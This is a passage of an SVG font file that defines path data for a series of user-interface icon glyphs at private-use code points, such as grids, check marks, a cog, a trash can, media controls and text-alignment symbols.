<glyph unicode="&#xe011;" d="M0 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM0 450v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200 q-21 0 -35.5 14.5t-14.5 35.5zM0 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5 t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 450v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5 v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 450v200q0 21 14.5 35.5t35.5 14.5h200 q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM800 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe012;" d="M0 50v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM0 450q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v200q0 21 -14.5 35.5t-35.5 14.5h-200q-21 0 -35.5 -14.5 t-14.5 -35.5v-200zM0 850v200q0 21 14.5 35.5t35.5 14.5h200q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-200q-21 0 -35.5 14.5t-14.5 35.5zM400 50v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5 t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5zM400 450v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5zM400 850v200q0 21 14.5 35.5t35.5 14.5h700q21 0 35.5 -14.5t14.5 -35.5 v-200q0 -21 -14.5 -35.5t-35.5 -14.5h-700q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe013;" d="M29 454l419 -420l818 820l-212 212l-607 -607l-206 207z" />
<glyph unicode="&#xe014;" d="M106 318l282 282l-282 282l212 212l282 -282l282 282l212 -212l-282 -282l282 -282l-212 -212l-282 282l-282 -282z" />
<glyph unicode="&#xe015;" d="M23 693q0 200 142 342t342 142t342 -142t142 -342q0 -142 -78 -261l300 -300q7 -8 7 -18t-7 -18l-109 -109q-8 -7 -18 -7t-18 7l-300 300q-119 -78 -261 -78q-200 0 -342 142t-142 342zM176 693q0 -136 97 -233t234 -97t233.5 96.5t96.5 233.5t-96.5 233.5t-233.5 96.5 t-234 -97t-97 -233zM300 600v200h100v100h200v-100h100v-200h-100v-100h-200v100h-100z" />
<glyph unicode="&#xe016;" d="M23 694q0 200 142 342t342 142t342 -142t142 -342q0 -141 -78 -262l300 -299q7 -7 7 -18t-7 -18l-109 -109q-8 -8 -18 -8t-18 8l-300 299q-120 -77 -261 -77q-200 0 -342 142t-142 342zM176 694q0 -136 97 -233t234 -97t233.5 97t96.5 233t-96.5 233t-233.5 97t-234 -97 t-97 -233zM300 601h400v200h-400v-200z" />
<glyph unicode="&#xe017;" d="M23 600q0 183 105 331t272 210v-166q-103 -55 -165 -155t-62 -220q0 -177 125 -302t302 -125t302 125t125 302q0 120 -62 220t-165 155v166q167 -62 272 -210t105 -331q0 -118 -45.5 -224.5t-123 -184t-184 -123t-224.5 -45.5t-224.5 45.5t-184 123t-123 184t-45.5 224.5 zM500 750q0 -21 14.5 -35.5t35.5 -14.5h100q21 0 35.5 14.5t14.5 35.5v400q0 21 -14.5 35.5t-35.5 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-400z" />
<glyph unicode="&#xe018;" d="M100 1h200v300h-200v-300zM400 1v500h200v-500h-200zM700 1v800h200v-800h-200zM1000 1v1200h200v-1200h-200z" />
<glyph unicode="&#xe019;" d="M26 601q0 -33 6 -74l151 -38l2 -6q14 -49 38 -93l3 -5l-80 -134q45 -59 105 -105l133 81l5 -3q45 -26 94 -39l5 -2l38 -151q40 -5 74 -5q27 0 74 5l38 151l6 2q46 13 93 39l5 3l134 -81q56 44 104 105l-80 134l3 5q24 44 39 93l1 6l152 38q5 40 5 74q0 28 -5 73l-152 38 l-1 6q-16 51 -39 93l-3 5l80 134q-44 58 -104 105l-134 -81l-5 3q-45 25 -93 39l-6 1l-38 152q-40 5 -74 5q-27 0 -74 -5l-38 -152l-5 -1q-50 -14 -94 -39l-5 -3l-133 81q-59 -47 -105 -105l80 -134l-3 -5q-25 -47 -38 -93l-2 -6l-151 -38q-6 -48 -6 -73zM385 601 q0 88 63 151t152 63t152 -63t63 -151q0 -89 -63 -152t-152 -63t-152 63t-63 152z" />
<glyph unicode="&#xe020;" d="M100 1025v50q0 10 7.5 17.5t17.5 7.5h275v100q0 41 29.5 70.5t70.5 29.5h300q41 0 70.5 -29.5t29.5 -70.5v-100h275q10 0 17.5 -7.5t7.5 -17.5v-50q0 -11 -7 -18t-18 -7h-1050q-11 0 -18 7t-7 18zM200 100v800h900v-800q0 -41 -29.5 -71t-70.5 -30h-700q-41 0 -70.5 30 t-29.5 71zM300 100h100v700h-100v-700zM500 100h100v700h-100v-700zM500 1100h300v100h-300v-100zM700 100h100v700h-100v-700zM900 100h100v700h-100v-700z" />
<glyph unicode="&#xe021;" d="M1 601l656 644l644 -644h-200v-600h-300v400h-300v-400h-300v600h-200z" />
<glyph unicode="&#xe022;" d="M100 25v1150q0 11 7 18t18 7h475v-500h400v-675q0 -11 -7 -18t-18 -7h-850q-11 0 -18 7t-7 18zM700 800v300l300 -300h-300z" />
<glyph unicode="&#xe023;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM500 500v400h100 v-300h200v-100h-300z" />
<glyph unicode="&#xe024;" d="M-100 0l431 1200h209l-21 -300h162l-20 300h208l431 -1200h-538l-41 400h-242l-40 -400h-539zM488 500h224l-27 300h-170z" />
<glyph unicode="&#xe025;" d="M0 0v400h490l-290 300h200v500h300v-500h200l-290 -300h490v-400h-1100zM813 200h175v100h-175v-100z" />
<glyph unicode="&#xe026;" d="M1 600q0 122 47.5 233t127.5 191t191 127.5t233 47.5t233 -47.5t191 -127.5t127.5 -191t47.5 -233t-47.5 -233t-127.5 -191t-191 -127.5t-233 -47.5t-233 47.5t-191 127.5t-127.5 191t-47.5 233zM188 600q0 -170 121 -291t291 -121t291 121t121 291t-121 291t-291 121 t-291 -121t-121 -291zM350 600h150v300h200v-300h150l-250 -300z" />
<glyph unicode="&#xe027;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -171 121.5 -292.5t292.5 -121.5t292.5 121.5t121.5 292.5t-121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM350 600l250 300 l250 -300h-150v-300h-200v300h-150z" />
<glyph unicode="&#xe028;" d="M0 25v475l200 700h800q199 -700 200 -700v-475q0 -11 -7 -18t-18 -7h-1150q-11 0 -18 7t-7 18zM200 500h200l50 -200h300l50 200h200l-97 500h-606z" />
<glyph unicode="&#xe029;" d="M4 600q0 162 80 299t217 217t299 80t299 -80t217 -217t80 -299t-80 -299t-217 -217t-299 -80t-299 80t-217 217t-80 299zM186 600q0 -172 121.5 -293t292.5 -121t292.5 121t121.5 293q0 171 -121.5 292.5t-292.5 121.5t-292.5 -121.5t-121.5 -292.5zM500 397v401 l297 -200z" />
<glyph unicode="&#xe030;" d="M23 600q0 -118 45.5 -224.5t123 -184t184 -123t224.5 -45.5t224.5 45.5t184 123t123 184t45.5 224.5h-150q0 -177 -125 -302t-302 -125t-302 125t-125 302t125 302t302 125q136 0 246 -81l-146 -146h400v400l-145 -145q-157 122 -355 122q-118 0 -224.5 -45.5t-184 -123 t-123 -184t-45.5 -224.5z" />
<glyph unicode="&#xe031;" d="M23 600q0 118 45.5 224.5t123 184t184 123t224.5 45.5q198 0 355 -122l145 145v-400h-400l147 147q-112 80 -247 80q-177 0 -302 -125t-125 -302h-150zM100 0v400h400l-147 -147q112 -80 247 -80q177 0 302 125t125 302h150q0 -118 -45.5 -224.5t-123 -184t-184 -123 t-224.5 -45.5q-198 0 -355 122z" />
<glyph unicode="&#xe032;" d="M100 0h1100v1200h-1100v-1200zM200 100v900h900v-900h-900zM300 200v100h100v-100h-100zM300 400v100h100v-100h-100zM300 600v100h100v-100h-100zM300 800v100h100v-100h-100zM500 200h500v100h-500v-100zM500 400v100h500v-100h-500zM500 600v100h500v-100h-500z M500 800v100h500v-100h-500z" />
<glyph unicode="&#xe033;" d="M0 100v600q0 41 29.5 70.5t70.5 29.5h100v200q0 82 59 141t141 59h300q82 0 141 -59t59 -141v-200h100q41 0 70.5 -29.5t29.5 -70.5v-600q0 -41 -29.5 -70.5t-70.5 -29.5h-900q-41 0 -70.5 29.5t-29.5 70.5zM400 800h300v150q0 21 -14.5 35.5t-35.5 14.5h-200 q-21 0 -35.5 -14.5t-14.5 -35.5v-150z" />
<glyph unicode="&#xe034;" d="M100 0v1100h100v-1100h-100zM300 400q60 60 127.5 84t127.5 17.5t122 -23t119 -30t110 -11t103 42t91 120.5v500q-40 -81 -101.5 -115.5t-127.5 -29.5t-138 25t-139.5 40t-125.5 25t-103 -29.5t-65 -115.5v-500z" />
<glyph unicode="&#xe035;" d="M0 275q0 -11 7 -18t18 -7h50q11 0 18 7t7 18v300q0 127 70.5 231.5t184.5 161.5t245 57t245 -57t184.5 -161.5t70.5 -231.5v-300q0 -11 7 -18t18 -7h50q11 0 18 7t7 18v300q0 116 -49.5 227t-131 192.5t-192.5 131t-227 49.5t-227 -49.5t-192.5 -131t-131 -192.5 t-49.5 -227v-300zM200 20v460q0 8 6 14t14 6h160q8 0 14 -6t6 -14v-460q0 -8 -6 -14t-14 -6h-160q-8 0 -14 6t-6 14zM800 20v460q0 8 6 14t14 6h160q8 0 14 -6t6 -14v-460q0 -8 -6 -14t-14 -6h-160q-8 0 -14 6t-6 14z" />
<glyph unicode="&#xe036;" d="M0 400h300l300 -200v800l-300 -200h-300v-400zM688 459l141 141l-141 141l71 71l141 -141l141 141l71 -71l-141 -141l141 -141l-71 -71l-141 141l-141 -141z" />
<glyph unicode="&#xe037;" d="M0 400h300l300 -200v800l-300 -200h-300v-400zM700 857l69 53q111 -135 111 -310q0 -169 -106 -302l-67 54q86 110 86 248q0 146 -93 257z" />
<glyph unicode="&#xe038;" d="M0 401v400h300l300 200v-800l-300 200h-300zM702 858l69 53q111 -135 111 -310q0 -170 -106 -303l-67 55q86 110 86 248q0 145 -93 257zM889 951l7 -8q123 -151 123 -344q0 -189 -119 -339l-7 -8l81 -66l6 8q142 178 142 405q0 230 -144 408l-6 8z" />
<glyph unicode="&#xe039;" d="M0 0h500v500h-200v100h-100v-100h-200v-500zM0 600h100v100h400v100h100v100h-100v300h-500v-600zM100 100v300h300v-300h-300zM100 800v300h300v-300h-300zM200 200v100h100v-100h-100zM200 900h100v100h-100v-100zM500 500v100h300v-300h200v-100h-100v-100h-200v100 h-100v100h100v200h-200zM600 0v100h100v-100h-100zM600 1000h100v-300h200v-300h300v200h-200v100h200v500h-600v-200zM800 800v300h300v-300h-300zM900 0v100h300v-100h-300zM900 900v100h100v-100h-100zM1100 200v100h100v-100h-100z" />
<glyph unicode="&#xe040;" d="M0 200h100v1000h-100v-1000zM100 0v100h300v-100h-300zM200 200v1000h100v-1000h-100zM500 0v91h100v-91h-100zM500 200v1000h200v-1000h-200zM700 0v91h100v-91h-100zM800 200v1000h100v-1000h-100zM900 0v91h200v-91h-200zM1000 200v1000h200v-1000h-200z" />
<glyph unicode="&#xe041;" d="M1 700v475q0 10 7.5 17.5t17.5 7.5h474l700 -700l-500 -500zM148 953q0 -42 29 -71q30 -30 71.5 -30t71.5 30q29 29 29 71t-29 71q-30 30 -71.5 30t-71.5 -30q-29 -29 -29 -71z" />
<glyph unicode="&#xe042;" d="M2 700v475q0 11 7 18t18 7h474l700 -700l-500 -500zM148 953q0 -42 30 -71q29 -30 71 -30t71 30q30 29 30 71t-30 71q-29 30 -71 30t-71 -30q-30 -29 -30 -71zM701 1200h100l700 -700l-500 -500l-50 50l450 450z" />
<glyph unicode="&#xe043;" d="M100 0v1025l175 175h925v-1000l-100 -100v1000h-750l-100 -100h750v-1000h-900z" />
<glyph unicode="&#xe044;" d="M200 0l450 444l450 -443v1150q0 20 -14.5 35t-35.5 15h-800q-21 0 -35.5 -15t-14.5 -35v-1151z" />
<glyph unicode="&#xe045;" d="M0 100v700h200l100 -200h600l100 200h200v-700h-200v200h-800v-200h-200zM253 829l40 -124h592l62 124l-94 346q-2 11 -10 18t-18 7h-450q-10 0 -18 -7t-10 -18zM281 24l38 152q2 10 11.5 17t19.5 7h500q10 0 19.5 -7t11.5 -17l38 -152q2 -10 -3.5 -17t-15.5 -7h-600 q-10 0 -15.5 7t-3.5 17z" />
<glyph unicode="&#xe046;" d="M0 200q0 -41 29.5 -70.5t70.5 -29.5h1000q41 0 70.5 29.5t29.5 70.5v600q0 41 -29.5 70.5t-70.5 29.5h-150q-4 8 -11.5 21.5t-33 48t-53 61t-69 48t-83.5 21.5h-200q-41 0 -82 -20.5t-70 -50t-52 -59t-34 -50.5l-12 -20h-150q-41 0 -70.5 -29.5t-29.5 -70.5v-600z M356 500q0 100 72 172t172 72t172 -72t72 -172t-72 -172t-172 -72t-172 72t-72 172zM494 500q0 -44 31 -75t75 -31t75 31t31 75t-31 75t-75 31t-75 -31t-31 -75zM900 700v100h100v-100h-100z" />
<glyph unicode="&#xe047;" d="M53 0h365v66q-41 0 -72 11t-49 38t1 71l92 234h391l82 -222q16 -45 -5.5 -88.5t-74.5 -43.5v-66h417v66q-34 1 -74 43q-18 19 -33 42t-21 37l-6 13l-385 998h-93l-399 -1006q-24 -48 -52 -75q-12 -12 -33 -25t-36 -20l-15 -7v-66zM416 521l178 457l46 -140l116 -317h-340 z" />
<glyph unicode="&#xe048;" d="M100 0v89q41 7 70.5 32.5t29.5 65.5v827q0 28 -1 39.5t-5.5 26t-15.5 21t-29 14t-49 14.5v70h471q120 0 213 -88t93 -228q0 -55 -11.5 -101.5t-28 -74t-33.5 -47.5t-28 -28l-12 -7q8 -3 21.5 -9t48 -31.5t60.5 -58t47.5 -91.5t21.5 -129q0 -84 -59 -156.5t-142 -111 t-162 -38.5h-500zM400 200h161q89 0 153 48.5t64 132.5q0 90 -62.5 154.5t-156.5 64.5h-159v-400zM400 700h139q76 0 130 61.5t54 138.5q0 82 -84 130.5t-239 48.5v-379z" />
<glyph unicode="&#xe049;" d="M200 0v57q77 7 134.5 40.5t65.5 80.5l173 849q10 56 -10 74t-91 37q-6 1 -10.5 2.5t-9.5 2.5v57h425l2 -57q-33 -8 -62 -25.5t-46 -37t-29.5 -38t-17.5 -30.5l-5 -12l-128 -825q-10 -52 14 -82t95 -36v-57h-500z" />
<glyph unicode="&#xe050;" d="M-75 200h75v800h-75l125 167l125 -167h-75v-800h75l-125 -167zM300 900v300h150h700h150v-300h-50q0 29 -8 48.5t-18.5 30t-33.5 15t-39.5 5.5t-50.5 1h-200v-850l100 -50v-100h-400v100l100 50v850h-200q-34 0 -50.5 -1t-40 -5.5t-33.5 -15t-18.5 -30t-8.5 -48.5h-49z " />
<glyph unicode="&#xe051;" d="M33 51l167 125v-75h800v75l167 -125l-167 -125v75h-800v-75zM100 901v300h150h700h150v-300h-50q0 29 -8 48.5t-18 30t-33.5 15t-40 5.5t-50.5 1h-200v-650l100 -50v-100h-400v100l100 50v650h-200q-34 0 -50.5 -1t-39.5 -5.5t-33.5 -15t-18.5 -30t-8 -48.5h-50z" />
<glyph unicode="&#xe052;" d="M0 50q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 350q0 -20 14.5 -35t35.5 -15h800q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-800q-21 0 -35.5 -14.5t-14.5 -35.5 v-100zM0 650q0 -20 14.5 -35t35.5 -15h1000q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1000q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 950q0 -20 14.5 -35t35.5 -15h600q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-600q-21 0 -35.5 -14.5 t-14.5 -35.5v-100z" />
<glyph unicode="&#xe053;" d="M0 50q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM0 650q0 -20 14.5 -35t35.5 -15h1100q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-1100q-21 0 -35.5 -14.5t-14.5 -35.5 v-100zM200 350q0 -20 14.5 -35t35.5 -15h700q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-700q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM200 950q0 -20 14.5 -35t35.5 -15h700q21 0 35.5 15t14.5 35v100q0 21 -14.5 35.5t-35.5 14.5h-700q-21 0 -35.5 -14.5 t-14.5 -35.5v-100z" />
<glyph unicode="&#xe054;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM100 650v100q0 21 14.5 35.5t35.5 14.5h1000q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1000q-21 0 -35.5 15 t-14.5 35zM300 350v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM500 950v100q0 21 14.5 35.5t35.5 14.5h600q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-600 q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe055;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM0 350v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15 t-14.5 35zM0 650v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100q-21 0 -35.5 15t-14.5 35zM0 950v100q0 21 14.5 35.5t35.5 14.5h1100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-1100 q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe056;" d="M0 50v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15t-14.5 35zM0 350v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15 t-14.5 35zM0 650v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15t-14.5 35zM0 950v100q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-100q-21 0 -35.5 15 t-14.5 35zM300 50v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM300 350v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800 q-21 0 -35.5 15t-14.5 35zM300 650v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15h-800q-21 0 -35.5 15t-14.5 35zM300 950v100q0 21 14.5 35.5t35.5 14.5h800q21 0 35.5 -14.5t14.5 -35.5v-100q0 -20 -14.5 -35t-35.5 -15 h-800q-21 0 -35.5 15t-14.5 35z" />
<glyph unicode="&#xe057;" d="M-101 500v100h201v75l166 -125l-166 -125v75h-201zM300 0h100v1100h-100v-1100zM500 50q0 -20 14.5 -35t35.5 -15h600q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-600q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 350q0 -20 14.5 -35t35.5 -15h300q20 0 35 15t15 35 v100q0 21 -15 35.5t-35 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 650q0 -20 14.5 -35t35.5 -15h500q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-500q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM500 950q0 -20 14.5 -35t35.5 -15h100q20 0 35 15t15 35v100 q0 21 -15 35.5t-35 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-100z" />
<glyph unicode="&#xe058;" d="M1 50q0 -20 14.5 -35t35.5 -15h600q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-600q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 350q0 -20 14.5 -35t35.5 -15h300q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-300q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 650 q0 -20 14.5 -35t35.5 -15h500q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-500q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM1 950q0 -20 14.5 -35t35.5 -15h100q20 0 35 15t15 35v100q0 21 -15 35.5t-35 14.5h-100q-21 0 -35.5 -14.5t-14.5 -35.5v-100zM801 0v1100h100v-1100 h-100zM934 550l167 -125v75h200v100h-200v75z" />
<glyph unicode="&#xe059;" d="M0 275v650q0 31 22 53t53 22h750q31 0 53 -22t22 -53v-650q0 -31 -22 -53t-53 -22h-750q-31 0 -53 22t-22 53zM900 600l300 300v-600z" />
<glyph unicode="&#xe060;" d="M0 44v1012q0 18 13 31t31 13h1112q19 0 31.5 -13t12.5 -31v-1012q0 -18 -12.5 -31t-31.5 -13h-1112q-18 0 -31 13t-13 31zM100 263l247 182l298 -131l-74 156l293 318l236 -288v500h-1000v-737zM208 750q0 56 39 95t95 39t95 -39t39 -95t-39 -95t-95 -39t-95 39t-39 95z " />
<glyph unicode="&#xe062;" d="M148 745q0 124 60.5 231.5t165 172t226.5 64.5q123 0 227 -63t164.5 -169.5t60.5 -229.5t-73 -272q-73 -114 -166.5 -237t-150.5 -189l-57 -66q-10 9 -27 26t-66.5 70.5t-96 109t-104 135.5t-100.5 155q-63 139 -63 262zM342 772q0 -107 75.5 -182.5t181.5 -75.5 q107 0 182.5 75.5t75.5 182.5t-75.5 182t-182.5 75t-182 -75.5t-75 -181.5z" />
<glyph unicode="&#xe063;" d="M1 600q0 122 47.5 233t127.5 191t191 127.5t233 47.5t233 -47.5t191 -127.5t127.5 -191t47.5 -233t-47.5 -233t-127.5 -191t-191 -127.5t-233 -47.5t-233 47.5t-191 127.5t-127.5 191t-47.5 233zM173 600q0 -177 125.5 -302t301.5 -125v854q-176 0 -301.5 -125 t-125.5 -302z" />
<glyph unicode="&#xe064;" d="M117 406q0 94 34 186t88.5 172.5t112 159t115 177t87.5 194.5q21 -71 57.5 -142.5t76 -130.5t83 -118.5t82 -117t70 -116t50 -125.5t18.5 -136q0 -89 -39 -165.5t-102 -126.5t-140 -79.5t-156 -33.5q-114 6 -211.5 53t-161.5 138.5t-64 210.5zM243 414q14 -82 59.5 -136 t136.5 -80l16 98q-7 6 -18 17t-34 48t-33 77q-15 73 -14 143.5t10 122.5l9 51q-92 -110 -119.5 -185t-12.5 -156z" />
<glyph unicode="&#xe065;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5q366 -6 397 -14l-186 -186h-311q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v125l200 200v-225q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5 t-117.5 282.5zM436 341l161 50l412 412l-114 113l-405 -405zM995 1015l113 -113l113 113l-21 85l-92 28z" />
<glyph unicode="&#xe066;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h261l2 -80q-133 -32 -218 -120h-145q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5l200 153v-53q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5t-117.5 282.5 zM423 524q30 38 81.5 64t103 35.5t99 14t77.5 3.5l29 -1v-209l360 324l-359 318v-216q-7 0 -19 -1t-48 -8t-69.5 -18.5t-76.5 -37t-76.5 -59t-62 -88t-39.5 -121.5z" />
<glyph unicode="&#xe067;" d="M0 400v300q0 165 117.5 282.5t282.5 117.5h300q60 0 127 -23l-178 -177h-349q-41 0 -70.5 -29.5t-29.5 -70.5v-500q0 -41 29.5 -70.5t70.5 -29.5h500q41 0 70.5 29.5t29.5 70.5v69l200 200v-169q0 -165 -117.5 -282.5t-282.5 -117.5h-300q-165 0 -282.5 117.5 t-117.5 282.5zM342 632l283 -284l566 567l-136 137l-430 -431l-147 147z" />
<glyph unicode="&#xe068;" d="M0 603l300 296v-198h200v200h-200l300 300l295 -300h-195v-200h200v198l300 -296l-300 -300v198h-200v-200h195l-295 -300l-300 300h200v200h-200v-198z" />
<glyph unicode="&#xe069;" d="M200 50v1000q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-437l500 487v-1100l-500 488v-438q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe070;" d="M0 50v1000q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-437l500 487v-487l500 487v-1100l-500 488v-488l-500 488v-438q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5z" />
<glyph unicode="&#xe071;" d="M136 550l564 550v-487l500 487v-1100l-500 488v-488z" />
<glyph unicode="&#xe072;" d="M200 0l900 550l-900 550v-1100z" />
<glyph unicode="&#xe073;" d="M200 150q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v800q0 21 -14.5 35.5t-35.5 14.5h-200q-21 0 -35.5 -14.5t-14.5 -35.5v-800zM600 150q0 -21 14.5 -35.5t35.5 -14.5h200q21 0 35.5 14.5t14.5 35.5v800q0 21 -14.5 35.5t-35.5 14.5h-200 q-21 0 -35.5 -14.5t-14.5 -35.5v-800z" />
<glyph unicode="&#xe074;" d="M200 150q0 -20 14.5 -35t35.5 -15h800q21 0 35.5 15t14.5 35v800q0 21 -14.5 35.5t-35.5 14.5h-800q-21 0 -35.5 -14.5t-14.5 -35.5v-800z" />
<glyph unicode="&#xe075;" d="M0 0v1100l500 -487v487l564 -550l-564 -550v488z" />
<glyph unicode="&#xe076;" d="M0 0v1100l500 -487v487l500 -487v437q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-1000q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5v438l-500 -488v488z" />
<glyph unicode="&#xe077;" d="M300 0v1100l500 -487v437q0 21 14.5 35.5t35.5 14.5h100q21 0 35.5 -14.5t14.5 -35.5v-1000q0 -21 -14.5 -35.5t-35.5 -14.5h-100q-21 0 -35.5 14.5t-14.5 35.5v438z" />
